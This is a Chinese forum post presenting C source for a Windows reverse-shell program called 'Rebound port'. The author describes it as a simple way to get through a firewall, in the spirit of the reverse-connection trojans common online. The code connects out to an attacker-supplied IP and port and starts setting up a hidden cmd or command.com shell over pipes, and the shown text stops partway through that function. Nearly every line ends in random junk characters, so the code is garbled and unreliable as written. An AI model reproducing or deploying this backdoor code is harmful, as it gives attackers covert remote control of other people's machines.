这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +se OoTKR
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/* ============================== ]+m2pEO
Rebound port in Windows NT >o{JG(Rn
By wind,2006/7 4e .19H9
===============================*/ E`(=n(Qu
#include ~_"V7
#include @_$$'XA7
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#pragma comment(lib,"wsock32.lib") @Lf&[_
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void OutputShell(); ^'M^0'_"v
SOCKET sClient; ,dK)I1"C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~|Ln9f-g
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void main(int argc,char **argv) pjTJZhT2 I
{ dQ-shfTr]
WSADATA stWsaData; j<~T:Tk
int nRet; <-b9
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SOCKADDR_IN stSaiClient,stSaiServer; xyM|q9Gf@
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if(argc != 3) yEbo`/ ]b
{ }2e s"
printf("Useage:\n\rRebound DestIP DestPort\n"); *c=vEQn-
return; _>;MQ)Km~
} $oM>?h_=
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3RGmmX"?G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IQtQf_"e1
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stSaiClient.sin_family = AF_INET; p4k}B. f
stSaiClient.sin_port = htons(0); X=abaKl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f~Pce||e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uKXD(lzX
{ "M-';;
printf("Bind Socket Failed!\n"); U*\K<fw
return; l4r>#n\yj
} ];6955I!
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stSaiServer.sin_family = AF_INET; K$qY^oyQFw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3(t,x
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k[D,du')
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NQ[X=a8N
{ ty#6%
printf("Connect Error!"); P*7G?
return; YZ8[h`z
} 5psJv|Zo]
OutputShell(); BgUp~zdo
} z_R^C%0k
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void OutputShell() [:gg3Qzx
{ {5X,xdzR
char szBuff[1024]; siCm)B
SECURITY_ATTRIBUTES stSecurityAttributes; W!O/t^H>
OSVERSIONINFO stOsversionInfo; )$i,e`T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +"BJjxG
STARTUPINFO stStartupInfo; [ei~Xkzkj
char *szShell; .uS`RS8JM
PROCESS_INFORMATION stProcessInformation; uI?Z_
unsigned long lBytesRead; sU*?H`U3d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4TPdq&';C:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m>P\}A^N
stSecurityAttributes.lpSecurityDescriptor = 0; 9{Et v w
stSecurityAttributes.bInheritHandle = TRUE; RC1bTM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M@h"FuX:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :n{{\SSIgX
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L8h!%56s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )~R[aXkvY
stStartupInfo.wShowWindow = SW_HIDE; Cx/J_Ro#
stStartupInfo.hStdInput = hReadPipe; FI?J8a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c;X,-Q9
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GetVersionEx(&stOsversionInfo); ,C><n
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switch(stOsversionInfo.dwPlatformId) lGR0-Gh2
{ bsU$$;
case 1: Y %bb-|\W
szShell = "command.com"; B&rN